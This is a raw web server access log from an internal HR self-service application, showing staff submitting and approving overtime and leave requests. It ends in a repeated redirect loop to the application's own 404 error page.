192.168.11.76 - - [06/Sep/2025:13:53:01 +0800] "POST /eHR/ess/redirect.php?scriptname=emp_lov&openW=Y&rand=0.6908431077106825 HTTP/1.1" 200 13502
192.168.11.76 - - [06/Sep/2025:13:53:01 +0800] "POST /eHR/ess/redirect.php?scriptname=emp_lov&openW=Y&rand=0.6908431077106825 HTTP/1.1" 200 13502 "http://192.168.1.83:8088/eHR/ess/redirect.php?scriptname=emp_lov&openW=Y&rand=0.6908431077106825" "Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/105.0.0.0 Safari/537.36"
192.168.11.197 - - [06/Sep/2025:13:53:04 +0800] "GET /eHR/ess/redirect.php?scriptname=emp_lov&openW=Y&rand=0.015999829149982214 HTTP/1.1" 200 8456 "http://192.168.1.83:8088/eHR/ess/redirect.php?scriptname=ESNE002&appdesc=%E6%89%B9%E9%87%8F%E8%AF%B7%E5%81%87%E7%94%B3%E8%AF%B7" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/140.0.0.0 Safari/537.36"
192.168.11.197 - - [06/Sep/2025:13:53:04 +0800] "GET /eHR/ess/redirect.php?scriptname=emp_lov&openW=Y&rand=0.015999829149982214 HTTP/1.1" 200 8456
192.168.11.76 - - [06/Sep/2025:13:53:07 +0800] "POST /eHR/ess/redirect.php?scriptname=ESNE001&appdesc=%E6%89%B9%E9%87%8F%E5%8A%A0%E7%8F%AD%E7%94%B3%E8%AF%B7 HTTP/1.1" 200 4066 "http://192.168.1.83:8088/eHR/ess/redirect.php?scriptname=ESNE001&appdesc=%E6%89%B9%E9%87%8F%E5%8A%A0%E7%8F%AD%E7%94%B3%E8%AF%B7" "Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/105.0.0.0 Safari/537.36"
192.168.11.76 - - [06/Sep/2025:13:53:07 +0800] "POST /eHR/ess/redirect.php?scriptname=ESNE001&appdesc=%E6%89%B9%E9%87%8F%E5%8A%A0%E7%8F%AD%E7%94%B3%E8%AF%B7 HTTP/1.1" 200 4066
192.168.11.197 - - [06/Sep/2025:13:53:22 +0800] "POST /eHR/ess/redirect.php?scriptname=emp_lov&openW=Y&rand=0.015999829149982214 HTTP/1.1" 200 10638 "http://192.168.1.83:8088/eHR/ess/redirect.php?scriptname=emp_lov&openW=Y&rand=0.015999829149982214" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/140.0.0.0 Safari/537.36"
192.168.11.197 - - [06/Sep/2025:13:53:22 +0800] "POST /eHR/ess/redirect.php?scriptname=emp_lov&openW=Y&rand=0.015999829149982214 HTTP/1.1" 200 10638
192.168.11.197 - - [06/Sep/2025:13:53:53 +0800] "GET /eHR/ess/redirect.php?scriptname=emp_lov&openW=Y&rand=0.4380093979158961 HTTP/1.1" 200 8456 "http://192.168.1.83:8088/eHR/ess/redirect.php?scriptname=ESNE002&appdesc=%E6%89%B9%E9%87%8F%E8%AF%B7%E5%81%87%E7%94%B3%E8%AF%B7" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/140.0.0.0 Safari/537.36"
192.168.11.197 - - [06/Sep/2025:13:53:53 +0800] "GET /eHR/ess/redirect.php?scriptname=emp_lov&openW=Y&rand=0.4380093979158961 HTTP/1.1" 200 8456
192.168.11.197 - - [06/Sep/2025:13:54:21 +0800] "POST /eHR/ess/redirect.php?scriptname=emp_lov&openW=Y&rand=0.4380093979158961 HTTP/1.1" 200 10636 "http://192.168.1.83:8088/eHR/ess/redirect.php?scriptname=emp_lov&openW=Y&rand=0.4380093979158961" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/140.0.0.0 Safari/537.36"
192.168.11.197 - - [06/Sep/2025:13:54:21 +0800] "POST /eHR/ess/redirect.php?scriptname=emp_lov&openW=Y&rand=0.4380093979158961 HTTP/1.1" 200 10636
192.168.11.76 - - [06/Sep/2025:13:54:57 +0800] "GET /eHR/ess/redirect.php?scriptname=ESNE003&appdesc=%E6%89%B9%E9%87%8F%E5%8A%A0%E7%8F%AD%E6%9F%A5%E8%AF%A2 HTTP/1.1" 200 7645
192.168.11.76 - - [06/Sep/2025:13:54:57 +0800] "GET /eHR/ess/redirect.php?scriptname=ESNE003&appdesc=%E6%89%B9%E9%87%8F%E5%8A%A0%E7%8F%AD%E6%9F%A5%E8%AF%A2 HTTP/1.1" 200 7645 "http://192.168.1.83:8088/eHR/ess/redirect.php" "Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/105.0.0.0 Safari/537.36"
192.168.11.76 - - [06/Sep/2025:13:55:08 +0800] "POST /eHR/ess/redirect.php?scriptname=ESNE003&appdesc=%E6%89%B9%E9%87%8F%E5%8A%A0%E7%8F%AD%E6%9F%A5%E8%AF%A2 HTTP/1.1" 200 12007 "http://192.168.1.83:8088/eHR/ess/redirect.php?scriptname=ESNE003&appdesc=%E6%89%B9%E9%87%8F%E5%8A%A0%E7%8F%AD%E6%9F%A5%E8%AF%A2" "Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/105.0.0.0 Safari/537.36"
192.168.11.76 - - [06/Sep/2025:13:55:08 +0800] "POST /eHR/ess/redirect.php?scriptname=ESNE003&appdesc=%E6%89%B9%E9%87%8F%E5%8A%A0%E7%8F%AD%E6%9F%A5%E8%AF%A2 HTTP/1.1" 200 12007
192.168.11.76 - - [06/Sep/2025:13:55:35 +0800] "GET /eHR/ess/index.php?action=logout HTTP/1.1" 200 8826
192.168.11.76 - - [06/Sep/2025:13:55:35 +0800] "GET /eHR/ess/index.php?action=logout HTTP/1.1" 200 8826 "-" "Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/105.0.0.0 Safari/537.36"
192.168.11.197 - - [06/Sep/2025:13:55:42 +0800] "POST /eHR/ess/redirect.php?scriptname=ESNE002&appdesc=%E6%89%B9%E9%87%8F%E8%AF%B7%E5%81%87%E7%94%B3%E8%AF%B7 HTTP/1.1" 200 4414 "http://192.168.1.83:8088/eHR/ess/redirect.php?scriptname=ESNE002&appdesc=%E6%89%B9%E9%87%8F%E8%AF%B7%E5%81%87%E7%94%B3%E8%AF%B7" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/140.0.0.0 Safari/537.36"
192.168.11.197 - - [06/Sep/2025:13:55:42 +0800] "POST /eHR/ess/redirect.php?scriptname=ESNE002&appdesc=%E6%89%B9%E9%87%8F%E8%AF%B7%E5%81%87%E7%94%B3%E8%AF%B7 HTTP/1.1" 200 4414
192.168.11.76 - - [06/Sep/2025:13:55:42 +0800] "POST /eHR/ess/includes/login.php HTTP/1.1" 302 - "http://192.168.1.83:8088/eHR/ess/index.php?action=logout" "Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/105.0.0.0 Safari/537.36"
192.168.11.76 - - [06/Sep/2025:13:55:42 +0800] "POST /eHR/ess/includes/login.php HTTP/1.1" 302 -
192.168.11.76 - - [06/Sep/2025:13:55:47 +0800] "GET /eHR/ess/redirect.php HTTP/1.1" 200 7220
192.168.11.76 - - [06/Sep/2025:13:55:47 +0800] "GET /eHR/ess/redirect.php HTTP/1.1" 200 7220 "http://192.168.1.83:8088/eHR/ess/index.php?action=logout" "Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/105.0.0.0 Safari/537.36"
192.168.11.76 - - [06/Sep/2025:13:55:48 +0800] "GET /eHR/ess/redirect.php?scriptname=ESNH000 HTTP/1.1" 200 10339
192.168.11.76 - - [06/Sep/2025:13:55:48 +0800] "GET /eHR/ess/redirect.php?scriptname=ESNH000 HTTP/1.1" 200 10339 "http://192.168.1.83:8088/eHR/ess/redirect.php" "Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/105.0.0.0 Safari/537.36"
192.168.11.197 - - [06/Sep/2025:13:55:50 +0800] "GET /eHR/ess/redirect.php?scriptname=ESNE002&appdesc=%E6%89%B9%E9%87%8F%E8%AF%B7%E5%81%87%E7%94%B3%E8%AF%B7 HTTP/1.1" 200 22190
192.168.11.197 - - [06/Sep/2025:13:55:50 +0800] "GET /eHR/ess/redirect.php?scriptname=ESNE002&appdesc=%E6%89%B9%E9%87%8F%E8%AF%B7%E5%81%87%E7%94%B3%E8%AF%B7 HTTP/1.1" 200 22190 "http://192.168.1.83:8088/eHR/ess/redirect.php" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/140.0.0.0 Safari/537.36"
192.168.11.76 - - [06/Sep/2025:13:55:52 +0800] "GET /eHR/mgr/redirect.php?scriptname=MDNH105&appdesc=%E5%8A%A0%E7%8F%AD%E5%BE%85%E7%AD%BE HTTP/1.1" 200 16094
192.168.11.76 - - [06/Sep/2025:13:55:52 +0800] "GET /eHR/mgr/redirect.php?scriptname=MDNH105&appdesc=%E5%8A%A0%E7%8F%AD%E5%BE%85%E7%AD%BE HTTP/1.1" 200 16094 "http://192.168.1.83:8088/eHR/ess/redirect.php?scriptname=ESNH000" "Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/105.0.0.0 Safari/537.36"
192.168.11.76 - - [06/Sep/2025:13:55:59 +0800] "POST /eHR/mgr/redirect.php?scriptname=MDNH105&appdesc=%E5%8A%A0%E7%8F%AD%E5%BE%85%E7%AD%BE HTTP/1.1" 302 - "http://192.168.1.83:8088/eHR/mgr/redirect.php?scriptname=MDNH105&appdesc=%E5%8A%A0%E7%8F%AD%E5%BE%85%E7%AD%BE" "Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/105.0.0.0 Safari/537.36"
192.168.11.76 - - [06/Sep/2025:13:55:59 +0800] "POST /eHR/mgr/redirect.php?scriptname=MDNH105&appdesc=%E5%8A%A0%E7%8F%AD%E5%BE%85%E7%AD%BE HTTP/1.1" 302 -
192.168.11.76 - - [06/Sep/2025:13:55:59 +0800] "GET /eHR/mgr/redirect.php?scriptname=page_success&msgtxt=%E6%82%A8%E7%9A%84%E7%B0%BD%E6%A0%B8%EF%BC%8C%E5%B7%B2%E6%88%90%E5%8A%9F%E6%8F%90%E4%BA%A4%E5%88%B0%E5%BE%8C%E5%8F%B0%E8%99%95%E7%90%86.%3Cbr%3E%E6%82%A8%E5%8F%AF%E4%BB%A5%E7%82%B9%3Ca+href%3D%22..%2Fess%2Fredirect.php%3Fscriptname%3DESNH100%26requestno%3D131110%22%3E%E9%80%99%E8%A3%A1%3C%2Fa%3E%E6%9F%A5%E7%9C%8B%E7%B0%BD%E6%A0%B8%E7%B5%90%E6%9E%9C%E3%80%82%3Cbr%3E%E6%89%B9%E6%AC%A1%E8%99%9F%3A131110&target=iframe HTTP/1.1" 302 - "http://192.168.1.83:8088/eHR/mgr/redirect.php?scriptname=MDNH105&appdesc=%E5%8A%A0%E7%8F%AD%E5%BE%85%E7%AD%BE" "Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/105.0.0.0 Safari/537.36"
192.168.11.76 - - [06/Sep/2025:13:55:59 +0800] "GET /eHR/mgr/redirect.php?scriptname=page_success&msgtxt=%E6%82%A8%E7%9A%84%E7%B0%BD%E6%A0%B8%EF%BC%8C%E5%B7%B2%E6%88%90%E5%8A%9F%E6%8F%90%E4%BA%A4%E5%88%B0%E5%BE%8C%E5%8F%B0%E8%99%95%E7%90%86.%3Cbr%3E%E6%82%A8%E5%8F%AF%E4%BB%A5%E7%82%B9%3Ca+href%3D%22..%2Fess%2Fredirect.php%3Fscriptname%3DESNH100%26requestno%3D131110%22%3E%E9%80%99%E8%A3%A1%3C%2Fa%3E%E6%9F%A5%E7%9C%8B%E7%B0%BD%E6%A0%B8%E7%B5%90%E6%9E%9C%E3%80%82%3Cbr%3E%E6%89%B9%E6%AC%A1%E8%99%9F%3A131110&target=iframe HTTP/1.1" 302 -
192.168.11.76 - - [06/Sep/2025:13:55:59 +0800] "GET /eHR/mgr/redirect.php?scriptname=page_error&msgtxt=%3Ch3%3EHTTP+404+-+Page+not+found%3C%2Fh3%3E%3Cbr%3E%3Cstrong%3EFile+Name%3A%3C%2Fstrong%3Epage_success%3Cbr%2F%3E%3Cstrong%3EApplication+Name%3C%2Fstrong%3E%3A&target=iframe HTTP/1.1" 302 - "http://192.168.1.83:8088/eHR/mgr/redirect.php?scriptname=MDNH105&appdesc=%E5%8A%A0%E7%8F%AD%E5%BE%85%E7%AD%BE" "Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/105.0.0.0 Safari/537.36"
192.168.11.76 - - [06/Sep/2025:13:55:59 +0800] "GET /eHR/mgr/redirect.php?scriptname=page_error&msgtxt=%3Ch3%3EHTTP+404+-+Page+not+found%3C%2Fh3%3E%3Cbr%3E%3Cstrong%3EFile+Name%3A%3C%2Fstrong%3Epage_success%3Cbr%2F%3E%3Cstrong%3EApplication+Name%3C%2Fstrong%3E%3A&target=iframe HTTP/1.1" 302 -
192.168.11.76 - - [06/Sep/2025:13:55:59 +0800] "GET /eHR/mgr/redirect.php?scriptname=page_error&msgtxt=%3Ch3%3EHTTP+404+-+Page+not+found%3C%2Fh3%3E%3Cbr%3E%3Cstrong%3EFile+Name%3A%3C%2Fstrong%3Epage_error%3Cbr%2F%3E%3Cstrong%3EApplication+Name%3C%2Fstrong%3E%3A&target=iframe HTTP/1.1" 302 - "http://192.168.1.83:8088/eHR/mgr/redirect.php?scriptname=MDNH105&appdesc=%E5%8A%A0%E7%8F%AD%E5%BE%85%E7%AD%BE" "Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/105.0.0.0 Safari/537.36"
192.168.11.76 - - [06/Sep/2025:13:55:59 +0800] "GET /eHR/mgr/redirect.php?scriptname=page_error&msgtxt=%3Ch3%3EHTTP+404+-+Page+not+found%3C%2Fh3%3E%3Cbr%3E%3Cstrong%3EFile+Name%3A%3C%2Fstrong%3Epage_error%3Cbr%2F%3E%3Cstrong%3EApplication+Name%3C%2Fstrong%3E%3A&target=iframe HTTP/1.1" 302 -
192.168.11.76 - - [06/Sep/2025:13:56:00 +0800] "GET /eHR/mgr/redirect.php?scriptname=page_error&msgtxt=%3Ch3%3EHTTP+404+-+Page+not+found%3C%2Fh3%3E%3Cbr%3E%3Cstrong%3EFile+Name%3A%3C%2Fstrong%3Epage_error%3Cbr%2F%3E%3Cstrong%3EApplication+Name%3C%2Fstrong%3E%3A&target=iframe HTTP/1.1" 302 - "http://192.168.1.83:8088/eHR/mgr/redirect.php?scriptname=MDNH105&appdesc=%E5%8A%A0%E7%8F%AD%E5%BE%85%E7%AD%BE" "Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/105.0.0.0 Safari/537.36"
192.168.11.76 - - [06/Sep/2025:13:56:00 +0800] "GET /eHR/mgr/redirect.php?scriptname=page_error&msgtxt=%3Ch3%3EHTTP+404+-+Page+not+found%3C%2Fh3%3E%3Cbr%3E%3Cstrong%3EFile+Name%3A%3C%2Fstrong%3Epage_error%3Cbr%2F%3E%3Cstrong%3EApplication+Name%3C%2Fstrong%3E%3A&target=iframe HTTP/1.1" 302 -
192.168.11.76 - - [06/Sep/2025:13:56:00 +0800] "GET /eHR/mgr/redirect.php?scriptname=page_error&msgtxt=%3Ch3%3EHTTP+404+-+Page+not+found%3C%2Fh3%3E%3Cbr%3E%3Cstrong%3EFile+Name%3A%3C%2Fstrong%3Epage_error%3Cbr%2F%3E%3Cstrong%3EApplication+Name%3C%2Fstrong%3E%3A&target=iframe HTTP/1.1" 302 - "http://192.168.1.83:8088/eHR/mgr/redirect.php?scriptname=MDNH105&appdesc=%E5%8A%A0%E7%8F%AD%E5%BE%85%E7%AD%BE" "Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/105.0.0.0 Safari/537.36"
192.168.11.76 - - [06/Sep/2025:13:56:00 +0800] "GET /eHR/mgr/redirect.php?scriptname=page_error&msgtxt=%3Ch3%3EHTTP+404+-+Page+not+found%3C%2Fh3%3E%3Cbr%3E%3Cstrong%3EFile+Name%3A%3C%2Fstrong%3Epage_error%3Cbr%2F%3E%3Cstrong%3EApplication+Name%3C%2Fstrong%3E%3A&target=iframe HTTP/1.1" 302 -
192.168.11.76 - - [06/Sep/2025:13:56:00 +0800] "GET /eHR/mgr/redirect.php?scriptname=page_error&msgtxt=%3Ch3%3EHTTP+404+-+Page+not+found%3C%2Fh3%3E%3Cbr%3E%3Cstrong%3EFile+Name%3A%3C%2Fstrong%3Epage_error%3Cbr%2F%3E%3Cstrong%3EApplication+Name%3C%2Fstrong%3E%3A&target=iframe HTTP/1.1" 302 - "http://192.168.1.83:8088/eHR/mgr/redirect.php?scriptname=MDNH105&appdesc=%E5%8A%A0%E7%8F%AD%E5%BE%85%E7%AD%BE" "Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/105.0.0.0 Safari/537.36"
192.168.11.76 - - [06/Sep/2025:13:56:00 +0800] "GET /eHR/mgr/redirect.php?scriptname=page_error&msgtxt=%3Ch3%3EHTTP+404+-+Page+not+found%3C%2Fh3%3E%3Cbr%3E%3Cstrong%3EFile+Name%3A%3C%2Fstrong%3Epage_error%3Cbr%2F%3E%3Cstrong%3EApplication+Name%3C%2Fstrong%3E%3A&target=iframe HTTP/1.1" 302 -
192.168.11.76 - - [06/Sep/2025:13:56:00 +0800] "GET /eHR/mgr/redirect.php?scriptname=page_error&msgtxt=%3Ch3%3EHTTP+404+-+Page+not+found%3C%2Fh3%3E%3Cbr%3E%3Cstrong%3EFile+Name%3A%3C%2Fstrong%3Epage_error%3Cbr%2F%3E%3Cstrong%3EApplication+Name%3C%2Fstrong%3E%3A&target=iframe HTTP/1.1" 302 - "http://192.168.1.83:8088/eHR/mgr/redirect.php?scriptname=MDNH105&appdesc=%E5%8A%A0%E7%8F%AD%E5%BE%85%E7%AD%BE" "Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/105.0.0.0 Safari/537.36"
192.168.11.76 - - [06/Sep/2025:13:56:00 +0800] "GET /eHR/mgr/redirect.php?scriptname=page_error&msgtxt=%3Ch3%3EHTTP+404+-+Page+not+found%3C%2Fh3%3E%3Cbr%3E%3Cstrong%3EFile+Name%3A%3C%2Fstrong%3Epage_error%3Cbr%2F%3E%3Cstrong%3EApplication+Name%3C%2Fstrong%3E%3A&target=iframe HTTP/1.1" 302 -
192.168.11.76 - - [06/Sep/2025:13:56:00 +0800] "GET /eHR/mgr/redirect.php?scriptname=page_error&msgtxt=%3Ch3%3EHTTP+404+-+Page+not+found%3C%2Fh3%3E%3Cbr%3E%3Cstrong%3EFile+Name%3A%3C%2Fstrong%3Epage_error%3Cbr%2F%3E%3Cstrong%3EApplication+Name%3C%2Fstrong%3E%3A&target=iframe HTTP/1.1" 302 - "http://192.168.1.83:8088/eHR/mgr/redirect.php?scriptname=MDNH105&appdesc=%E5%8A%A0%E7%8F%AD%E5%BE%85%E7%AD%BE" "Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/105.0.0.0 Safari/537.36"
192.168.11.76 - - [06/Sep/2025:13:56:00 +0800] "GET /eHR/mgr/redirect.php?scriptname=page_error&msgtxt=%3Ch3%3EHTTP+404+-+Page+not+found%3C%2Fh3%3E%3Cbr%3E%3Cstrong%3EFile+Name%3A%3C%2Fstrong%3Epage_error%3Cbr%2F%3E%3Cstrong%3EApplication+Name%3C%2Fstrong%3E%3A&target=iframe HTTP/1.1" 302 -
192.168.11.76 - - [06/Sep/2025:13:56:01 +0800] "GET /eHR/mgr/redirect.php?scriptname=page_error&msgtxt=%3Ch3%3EHTTP+404+-+Page+not+found%3C%2Fh3%3E%3Cbr%3E%3Cstrong%3EFile+Name%3A%3C%2Fstrong%3Epage_error%3Cbr%2F%3E%3Cstrong%3EApplication+Name%3C%2Fstrong%3E%3A&target=iframe HTTP/1.1" 302 - "http://192.168.1.83:8088/eHR/mgr/redirect.php?scriptname=MDNH105&appdesc=%E5%8A%A0%E7%8F%AD%E5%BE%85%E7%AD%BE" "Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/105.0.0.0 Safari/537.36"
192.168.11.76 - - [06/Sep/2025:13:56:01 +0800] "GET /eHR/mgr/redirect.php?scriptname=page_error&msgtxt=%3Ch3%3EHTTP+404+-+Page+not+found%3C%2Fh3%3E%3Cbr%3E%3Cstrong%3EFile+Name%3A%3C%2Fstrong%3Epage_error%3Cbr%2F%3E%3Cstrong%3EApplication+Name%3C%2Fstrong%3E%3A&target=iframe HTTP/1.1" 302 -
192.168.11.76 - - [06/Sep/2025:13:56:01 +0800] "GET /eHR/mgr/redirect.php?scriptname=page_error&msgtxt=%3Ch3%3EHTTP+404+-+Page+not+found%3C%2Fh3%3E%3Cbr%3E%3Cstrong%3EFile+Name%3A%3C%2Fstrong%3Epage_error%3Cbr%2F%3E%3Cstrong%3EApplication+Name%3C%2Fstrong%3E%3A&target=iframe HTTP/1.1" 302 - "http://192.168.1.83:8088/eHR/mgr/redirect.php?scriptname=MDNH105&appdesc=%E5%8A%A0%E7%8F%AD%E5%BE%85%E7%AD%BE" "Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/105.0.0.0 Safari/537.36"
192.168.11.76 - - [06/Sep/2025:13:56:01 +0800] "GET /eHR/mgr/redirect.php?scriptname=page_error&msgtxt=%3Ch3%3EHTTP+404+-+Page+not+found%3C%2Fh3%3E%3Cbr%3E%3Cstrong%3EFile+Name%3A%3C%2Fstrong%3Epage_error%3Cbr%2F%3E%3Cstrong%3EApplication+Name%3C%2Fstrong%3E%3A&target=iframe HTTP/1.1" 302 -
192.168.11.76 - - [06/Sep/2025:13:56:01 +0800] "GET /eHR/mgr/redirect.php?scriptname=page_error&msgtxt=%3Ch3%3EHTTP+404+-+Page+not+found%3C%2Fh3%3E%3Cbr%3E%3Cstrong%3EFile+Name%3A%3C%2Fstrong%3Epage_error%3Cbr%2F%3E%3Cstrong%3EApplication+Name%3C%2Fstrong%3E%3A&target=iframe HTTP/1.1" 302 -
192.168.11.76 - - [06/Sep/2025:13:56:01 +0800] "GET /eHR/mgr/redirect.php?scriptname=page_error&msgtxt=%3Ch3%3EHTTP+404+-+Page+not+found%3C%2Fh3%3E%3Cbr%3E%3Cstrong%3EFile+Name%3A%3C%2Fstrong%3Epage_error%3Cbr%2F%3E%3Cstrong%3EApplication+Name%3C%2Fstrong%3E%3A&target=iframe HTTP/1.1" 302 - "http://192.168.1.83:8088/eHR/mgr/redirect.php?scriptname=MDNH105&appdesc=%E5%8A%A0%E7%8F%AD%E5%BE%85%E7%AD%BE" "Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/105.0.0.0 Safari/537.36"
192.168.11.76 - - [06/Sep/2025:13:56:01 +0800] "GET /eHR/mgr/redirect.php?scriptname=page_error&msgtxt=%3Ch3%3EHTTP+404+-+Page+not+found%3C%2Fh3%3E%3Cbr%3E%3Cstrong%3EFile+Name%3A%3C%2Fstrong%3Epage_error%3Cbr%2F%3E%3Cstrong%3EApplication+Name%3C%2Fstrong%3E%3A&target=iframe HTTP/1.1" 302 - "http://192.168.1.83:8088/eHR/mgr/redirect.php?scriptname=MDNH105&appdesc=%E5%8A%A0%E7%8F%AD%E5%BE%85%E7%AD%BE" "Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/105.0.0.0 Safari/537.36"
192.168.11.76 - - [06/Sep/2025:13:56:01 +0800] "GET /eHR/mgr/redirect.php?scriptname=page_error&msgtxt=%3Ch3%3EHTTP+404+-+Page+not+found%3C%2Fh3%3E%3Cbr%3E%3Cstrong%3EFile+Name%3A%3C%2Fstrong%3Epage_error%3Cbr%2F%3E%3Cstrong%3EApplication+Name%3C%2Fstrong%3E%3A&target=iframe HTTP/1.1" 302 -
192.168.11.76 - - [06/Sep/2025:13:56:01 +0800] "GET /eHR/mgr/redirect.php?scriptname=page_error&msgtxt=%3Ch3%3EHTTP+404+-+Page+not+found%3C%2Fh3%3E%3Cbr%3E%3Cstrong%3EFile+Name%3A%3C%2Fstrong%3Epage_error%3Cbr%2F%3E%3Cstrong%3EApplication+Name%3C%2Fstrong%3E%3A&target=iframe HTTP/1.1" 302 - "http://192.168.1.83:8088/eHR/mgr/redirect.php?scriptname=MDNH105&appdesc=%E5%8A%A0%E7%8F%AD%E5%BE%85%E7%AD%BE" "Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/105.0.0.0 Safari/537.36"
192.168.11.76 - - [06/Sep/2025:13:56:01 +0800] "GET /eHR/mgr/redirect.php?scriptname=page_error&msgtxt=%3Ch3%3EHTTP+404+-+Page+not+found%3C%2Fh3%3E%3Cbr%3E%3Cstrong%3EFile+Name%3A%3C%2Fstrong%3Epage_error%3Cbr%2F%3E%3Cstrong%3EApplication+Name%3C%2Fstrong%3E%3A&target=iframe HTTP/1.1" 302 -
192.168.11.76 - - [06/Sep/2025:13:56:02 +0800] "GET /eHR/mgr/redirect.php?scriptname=page_error&msgtxt=%3Ch3%3EHTTP+404+-+Page+not+found%3C%2Fh3%3E%3Cbr%3E%3Cstrong%3EFile+Name%3A%3C%2Fstrong%3Epage_error%3Cbr%2F%3E%3Cstrong%3EApplication+Name%3C%2Fstrong%3E%3A&target=iframe HTTP/1.1" 302 - "http://192.168.1.83:8088/eHR/mgr/redirect.php?scriptname=MDNH105&appdesc=%E5%8A%A0%E7%8F%AD%E5%BE%85%E7%AD%BE" "Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/105.0.0.0 Safari/537.36"
192.168.11.76 - - [06/Sep/2025:13:56:02 +0800] "GET /eHR/mgr/redirect.php?scriptname=page_error&msgtxt=%3Ch3%3EHTTP+404+-+Page+not+found%3C%2Fh3%3E%3Cbr%3E%3Cstrong%3EFile+Name%3A%3C%2Fstrong%3Epage_error%3Cbr%2F%3E%3Cstrong%3EApplication+Name%3C%2Fstrong%3E%3A&target=iframe HTTP/1.1" 302 -
192.168.11.76 - - [06/Sep/2025:13:56:02 +0800] "GET /eHR/mgr/redirect.php?scriptname=page_error&msgtxt=%3Ch3%3EHTTP+404+-+Page+not+found%3C%2Fh3%3E%3Cbr%3E%3Cstrong%3EFile+Name%3A%3C%2Fstrong%3Epage_error%3Cbr%2F%3E%3Cstrong%3EApplication+Name%3C%2Fstrong%3E%3A&target=iframe HTTP/1.1" 302 - "http://192.168.1.83:8088/eHR/mgr/redirect.php?scriptname=MDNH105&appdesc=%E5%8A%A0%E7%8F%AD%E5%BE%85%E7%AD%BE" "Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/105.0.0.0 Safari/537.36"
192.168.11.76 - - [06/Sep/2025:13:56:02 +0800] "GET /eHR/mgr/redirect.php?scriptname=page_error&msgtxt=%3Ch3%3EHTTP+404+-+Page+not+found%3C%2Fh3%3E%3Cbr%3E%3Cstrong%3EFile+Name%3A%3C%2Fstrong%3Epage_error%3Cbr%2F%3E%3Cstrong%3EApplication+Name%3C%2Fstrong%3E%3A&target=iframe HTTP/1.1" 302 -
192.168.11.76 - - [06/Sep/2025:13:56:02 +0800] "GET /eHR/mgr/redirect.php?scriptname=page_error&msgtxt=%3Ch3%3EHTTP+404+-+Page+not+found%3C%2Fh3%3E%3Cbr%3E%3Cstrong%3EFile+Name%3A%3C%2Fstrong%3Epage_error%3Cbr%2F%3E%3Cstrong%3EApplication+Name%3C%2Fstrong%3E%3A&target=iframe HTTP/1.1" 302 - "http://192.168.1.83:8088/eHR/mgr/redirect.php?scriptname=MDNH105&appdesc=%E5%8A%A0%E7%8F%AD%E5%BE%85%E7%AD%BE" "Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/105.0.0.0 Safari/537.36"
192.168.11.76 - - [06/Sep/2025:13:56:02 +0800] "GET /eHR/mgr/redirect.php?scriptname=page_error&msgtxt=%3Ch3%3EHTTP+404+-+Page+not+found%3C%2Fh3%3E%3Cbr%3E%3Cstrong%3EFile+Name%3A%3C%2Fstrong%3Epage_error%3Cbr%2F%3E%3Cstrong%3EApplication+Name%3C%2Fstrong%3E%3A&target=iframe HTTP/1.1" 302 -
